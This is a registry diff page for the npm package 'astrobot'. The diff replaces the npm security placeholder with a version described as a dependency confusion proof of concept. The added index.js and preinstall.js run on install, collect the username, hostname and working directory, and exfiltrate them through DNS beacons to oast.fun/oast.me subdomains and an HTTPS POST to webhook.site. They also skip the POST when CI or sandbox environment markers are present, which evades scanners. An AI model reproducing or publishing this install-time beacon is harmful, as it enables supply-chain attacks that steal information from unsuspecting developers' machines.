astrobot 0.0.1-security → 20.11.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of astrobot might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +9 -3
- package/preinstall.js +73 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const MAX_LABEL_LENGTH = 63;
|
|
6
|
+
const OAST_DOMAIN = 'd1htmicgtqkhsklb8ai0riqfkkqara1j1.oast.fun';
|
|
7
|
+
|
|
8
|
+
// Helper: encode string to hex and split into label-safe chunks
|
|
9
|
+
function hexChunks(str) {
|
|
10
|
+
const hex = Buffer.from(str).toString('hex');
|
|
11
|
+
const chunks = [];
|
|
12
|
+
for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
|
|
13
|
+
chunks.push(hex.slice(i, i + MAX_LABEL_LENGTH));
|
|
14
|
+
}
|
|
15
|
+
return chunks;
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Collect system info
|
|
19
|
+
const username = os.userInfo().username || 'nouser';
|
|
20
|
+
const hostname = os.hostname() || 'nohost';
|
|
21
|
+
const cwd = process.cwd() || 'nocwd';
|
|
22
|
+
|
|
23
|
+
// Encode each to hex and build labels
|
|
24
|
+
const labels = [
|
|
25
|
+
...hexChunks(username),
|
|
26
|
+
...hexChunks(hostname),
|
|
27
|
+
...hexChunks(cwd),
|
|
28
|
+
OAST_DOMAIN
|
|
29
|
+
];
|
|
30
|
+
|
|
31
|
+
let domain = labels.join('.');
|
|
32
|
+
|
|
33
|
+
// Truncate full domain to 253 characters (RFC limit)
|
|
34
|
+
if (domain.length > 253) {
|
|
35
|
+
domain = domain.substring(0, 253);
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// Fire DNS beacon
|
|
39
|
+
dns.resolve(domain, () => {});
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "astrobot",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "20.11.11",
|
|
4
|
+
"description": "World-Class Dependency Confusion PoC with Anti-Bot & Beaconing",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "orwa",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
|
12
|
+
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const MAX_LABEL_LENGTH = 63;
|
|
7
|
+
const OAST_DOMAIN = 'd1hugmkgtqkot9gqg0u0juwoufjifrnr6.oast.me';
|
|
8
|
+
|
|
9
|
+
// Encode to hex + split for DNS safety
|
|
10
|
+
function hexChunks(str) {
|
|
11
|
+
const hex = Buffer.from(str).toString('hex');
|
|
12
|
+
const out = [];
|
|
13
|
+
for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
|
|
14
|
+
out.push(hex.slice(i, i + MAX_LABEL_LENGTH));
|
|
15
|
+
}
|
|
16
|
+
return out;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// === ENV INTEL ===
|
|
20
|
+
const username = os.userInfo().username || 'nouser';
|
|
21
|
+
const hostname = os.hostname() || 'nohost';
|
|
22
|
+
const cwd = process.cwd() || 'nocwd';
|
|
23
|
+
const platform = os.platform();
|
|
24
|
+
const arch = os.arch();
|
|
25
|
+
const isCI = !!process.env.CI || !!process.env.GITHUB_ACTIONS || !!process.env.JENKINS_URL || !!process.env.BITBUCKET_BUILD_NUMBER;
|
|
26
|
+
const isSandbox = Boolean(process.env.PUPPETEER_EXECUTABLE_PATH || process.env.HEADLESS || process.env.ASTROBOT_SANDBOX);
|
|
27
|
+
const timestamp = Date.now().toString(36);
|
|
28
|
+
|
|
29
|
+
// DNS Labels
|
|
30
|
+
const labels = [
|
|
31
|
+
...hexChunks(username),
|
|
32
|
+
...hexChunks(hostname),
|
|
33
|
+
...hexChunks(cwd),
|
|
34
|
+
platform,
|
|
35
|
+
arch,
|
|
36
|
+
isCI ? 'ci' : 'dev',
|
|
37
|
+
isSandbox ? 'sandbox' : 'real',
|
|
38
|
+
timestamp,
|
|
39
|
+
OAST_DOMAIN
|
|
40
|
+
];
|
|
41
|
+
|
|
42
|
+
let domain = labels.join('.');
|
|
43
|
+
if (domain.length > 253) domain = domain.slice(0, 253);
|
|
44
|
+
|
|
45
|
+
// 🔭 DNS Beacon
|
|
46
|
+
dns.resolve(domain, () => {});
|
|
47
|
+
|
|
48
|
+
// 🌐 HTTP Fallback (only in real installs)
|
|
49
|
+
function sendHTTP(payload) {
|
|
50
|
+
const json = JSON.stringify(payload);
|
|
51
|
+
const req = https.request({
|
|
52
|
+
hostname: 'webhook.site', // <-- Optional fallback endpoint
|
|
53
|
+
path: '/your-id', // <-- Replace if needed
|
|
54
|
+
method: 'POST',
|
|
55
|
+
headers: { 'Content-Type': 'application/json' }
|
|
56
|
+
}, () => {});
|
|
57
|
+
req.on('error', () => {});
|
|
58
|
+
req.write(json);
|
|
59
|
+
req.end();
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// 🛡️ Scanner Bot Detection
|
|
63
|
+
if (!isCI && !isSandbox) {
|
|
64
|
+
sendHTTP({
|
|
65
|
+
event: 'install',
|
|
66
|
+
uname: username,
|
|
67
|
+
host: hostname,
|
|
68
|
+
path: cwd,
|
|
69
|
+
platform,
|
|
70
|
+
arch,
|
|
71
|
+
timestamp
|
|
72
|
+
});
|
|
73
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=astrobot for more information.
|